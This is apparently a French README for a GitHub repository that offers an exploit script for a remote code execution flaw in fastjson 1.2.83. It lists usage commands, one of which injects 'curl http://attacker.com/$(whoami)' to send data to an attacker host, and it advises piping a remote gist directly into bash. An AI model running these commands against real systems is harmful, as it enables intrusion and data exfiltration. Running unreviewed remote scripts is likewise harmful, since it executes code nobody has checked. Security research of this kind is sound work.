CVE-2026-16723

Faire un don

Soutenez la maintenance de ce projet via PayPal ou en scannant le code QR ci-dessous.

⚡ Utilisation simple

N'utilisez ce projet que dans des environnements sûrs et autorisés, tels que :

• Machines virtuelles locales
• Conteneurs Docker
• Configurations de laboratoire isolées
• Environnements de tests d'intrusion autorisés

Exemple de configuration :

git clone https://github.com/HORKimhab/CVE-2026-16723
cd CVE-2026-16723

# Télécharger le JAR fastjson (optionnel - le script le téléchargera automatiquement)
wget https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.83/fastjson-1.2.83.jar

# Le projet utilise Python, voir ci-dessous

# Créer un environnement virtuel
python -m venv venv

# Activer l'environnement virtuel

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Installer les dépendances
pip install -r requirements.txt

Exemple d'utilisation :

# Exploit de base
python CVE-2026-16723.py -t http://localhost:8080/parse

# Commande personnalisée
python CVE-2026-16723.py -t http://localhost:8080/parse -c "id > /tmp/result"

# Avec IP et port personnalisés
python CVE-2026-16723.py -t http://localhost:8080/parse -c "whoami" --remote-ip 192.168.1.100 --port 9000

# Cible HTTPS
python CVE-2026-16723.py -t https://target.com/api/parse -c "curl http://attacker.com/$(whoami)" --insecure

# Utilisation d'un proxy
python CVE-2026-16723.py -t http://localhost:8080/parse --proxy http://127.0.0.1:8080

# Plage FD personnalisée
python CVE-2026-16723.py -t http://localhost:8080/parse --fd-range 10-50

# Mode silencieux
python CVE-2026-16723.py -t http://localhost:8080/parse --quiet

Remarque :

• Si vous clonez depuis un autre projet, vous devez exécuter curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y pour supprimer le répertoire .git imbriqué
• ex. : cve-2025-46822.sh, cve-2025-46822-lab.sh, ...

Crédit ou référence

• https://fearsoff.org/research/fastjson-1-2-83-rce
• https://thehackernews.com/2026/07/fastjson-1x-rce-vulnerability-targeted.html
• https://aiweekly.co/alerts/alibabas-fastjson-1x-hit-by-active-rce-exploits-no-patch

📚 Référentiel de recherche en sécurité à but éducatif

Un référentiel pour apprendre, tester et rechercher des concepts de cybersécurité dans des environnements contrôlés.

⚠️ Avertissement de sécurité et juridique

Objectif

Ce référentiel est destiné uniquement à la recherche en sécurité à but éducatif et autorisé.

Il est conçu pour aider les utilisateurs à en apprendre davantage sur :

• Les vulnérabilités de sécurité
• Les concepts de sandbox et d'isolation
• Les pratiques de codage sécurisé et de défense

Utilisation autorisée uniquement

N'utilisez ce référentiel que dans des environnements où vous disposez d'une autorisation, tels que :

• Laboratoires personnels ou machines virtuelles
• Environnements Docker ou isolés
• Tests d'intrusion autorisés
• Formation en cybersécurité ou recherche académique

Toute utilisation non autorisée ou illégale est strictement interdite.

Aucune responsabilité

L'auteur et les contributeurs ne sont pas responsables des dommages, utilisations abusives, problèmes juridiques ou pertes causés par ce projet.

En utilisant ce référentiel, vous acceptez que :

• Vous êtes responsable de vos propres actions
• Vous l'utiliserez de manière légale et éthique
• Le projet est fourni sans garantie

Utilisation éthique

Ce projet est destiné à :

• La recherche en sécurité défensive
• L'éducation à la cybersécurité
• La sensibilisation aux vulnérabilités
• La recherche sur les systèmes et logiciels sécurisés

Veuillez suivre les pratiques de divulgation responsable et vous conformer à toutes les lois applicables.

Contact

Pour une divulgation responsable ou une collaboration, contactez le mainteneur du référentiel via GitHub.